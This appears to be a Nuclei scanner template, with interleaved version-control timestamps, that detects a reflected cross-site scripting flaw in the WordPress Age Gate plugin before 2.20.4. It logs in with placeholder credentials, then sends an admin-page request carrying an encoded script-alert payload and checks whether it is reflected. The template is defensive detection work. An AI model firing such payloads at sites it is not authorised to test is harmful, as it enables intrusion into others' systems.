2022-09-23 11:18:11 +00:00
id : age-gate-xss
info :
2022-09-29 13:38:41 +00:00
name : WordPress Age Gate <2.20.4 - Cross-Site Scripting
2022-09-23 11:18:11 +00:00
author : akincibor,daffainfo
2022-09-29 13:38:41 +00:00
severity : high
2022-09-23 11:18:11 +00:00
description : |
2022-09-29 13:38:41 +00:00
WordPress Age Gate plugin before 2.20.4 contains a cross-site scripting vulnerability. The plugin does not escape some URLs before outputting them back in attributes.
2022-09-23 11:18:11 +00:00
reference :
- https://wpscan.com/vulnerability/a13148fe-ffc9-4003-a44d-652624ba5535
- https://wordpress.org/plugins/age-gate/
2022-09-29 13:38:41 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score : 7.2
cwe-id : CWE-79
2023-04-28 08:11:21 +00:00
metadata :
max-request : 2
2023-10-14 11:27:55 +00:00
tags : xss,authenticated,age-gate,wpscan,wordpress,wp-plugin,wp
2022-09-23 11:18:11 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-09-23 11:18:11 +00:00
- raw :
- |
POST /wp-login.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
GET /wp-admin/admin.php?page=age-gate&a%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host : {{Hostname}}
cookie-reuse : true
2023-10-14 11:27:55 +00:00
2022-09-23 11:18:11 +00:00
matchers-condition : and
matchers :
- type : word
part : body
words :
- '"><script>alert(document.domain)</script>'
- 'Age Gate Restriction Settings'
condition : and
- type : word
part : header
words :
- text/html
- type : status
status :
- 200
2023-10-20 11:41:13 +00:00
# digest: 4b0a00483046022100f0304dbf4fb8602458c1608bb0ba2abf334aec2938b6569d124ca24d670f19c2022100eb179fe18bbee5ce31c5d5556bda2b4bf2de27a3770537b518ec914d98f3ffd1:922c64590222798bb761d5b6d8e72950